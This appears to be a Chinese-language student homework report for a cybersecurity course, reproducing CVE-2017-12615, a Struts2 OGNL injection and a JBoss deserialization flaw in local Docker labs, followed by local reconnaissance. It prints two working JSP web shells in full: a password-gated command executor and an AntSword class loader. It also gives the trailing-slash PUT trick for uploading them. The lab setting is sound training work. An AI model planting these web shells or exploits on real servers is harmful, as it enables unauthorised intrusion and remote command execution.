网络安全C10-2024.8.31
作业:
1、安装burp并实现抓取HTTP站点的数据包(HTTPS站点暂时不要求)
(1)安装Java 1.8.144; 设定操作系统环境变量
- JAVA_HOME jdk文件夹的绝对路径 例:
JAVA_HOME=C:\Program Files\Java\jdk1.8.0_144
- CLASSPATH
CLASSJPATH=.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;
- PATH
PATH=%JAVA_HOME%\bin
(2)安装并设定Burp
(3)设定浏览器代理伺服器:127.0.0.1 端口:8080
(4)启动Burp,在Proxy页面intercept设成off,在浏览器键入欲访问的网站地址
在Burp的Proxy页面点击intercept is on,刷新浏览器,便可抓取http站点的数据包,如下图所示
2、练习Tomcat PUT方法任意写文件漏洞(CVE-2017-12615),提供蚁剑连接成功截图
步骤如下:
(1)Rocky 9.3无法成功启动CVE-2017-12615容器,重新安装Centos7 虚拟机。
(2) 拉取镜像
docker pull cved/cve-2017-12615
(3)背景执行容器,并指定端口8080
docker run -d -p 8080:8080 cved/cve-2017-12615
(4)浏览器打开确认tomcat运行成功
(5)利用cve-2017-12615漏洞,改造用put /1.jsp/ 上传文件到tomcat
要注意1.jsp/ 1.jsp后面要加上/, 让tomcat以为档名后缀不是jsp,因为tomcat会阳档不让jsp档上传
但操作系统会把自动把1.jsp/档名后缀的/过自动去除。
1.jsp
<%if("magedu".equals(request.getParameter("pwd"))){java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>
(6)将蚁剑脚本yijian.jsp同上方法上传至tomcat伺服器
yijian.jsp
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode",String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>
(7)安装蚁剑 https://github.com/AntSwordProject/antSword
初始化蚁剑,执行蚁剑,输入tomcat容器网址端口及蚁剑脚本,输入连接密码,测试连接
(8)如连接成功,可添加后得到,tomcat的目录,如下图
3、练习S2-048 远程代码执行漏洞(CVE-2017-9791),提供命令执行截图
(1) 拉取镜像
docker pull docker.io/piesecurity/apache-struts2-cve-2017-5638
(2)执行容器
docker run -d -p 8081:8080 piesecurity/apache-struts2-cve-2017-5638
(3)浏览器访问struss
http://192.168.253.133:8081/showcase.action
(4)在Gangster Name写一个表达式 ${},例如填上${5*8},其它栏位任意值后送出
(5)返回表达式的计算结果
得到 40
4、练习JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149),提供命令执行截图
(1)拉取镜像
docker pull docker.io/hackingpub/cve-2017-12149
(2)执行容器
docker run -d -p 8082:8080 hackingpub/cve-2017-12149
(3)浏览器访问
需要等一下才能存取
192.168.253.133:8082
(4) 使用工具
执行jboss反序列化_CVE-2017-12149.jar
填上JBOSS容器的地址和端口,cmd填入欲执行的命令例如whoami,按下执行
得到结果root
5、以任一合法网站为目标进行信息收集练习并形成报告,要求使用fcsan、Goby、dirsearch,禁止进行违规操作
因dirsearch未设定完成,先以fscan、御剑和Goby的结果收集本地的虚拟机为例。
(1) fscan64 -h 192.168.253.133
(2) 御剑
(3) Goby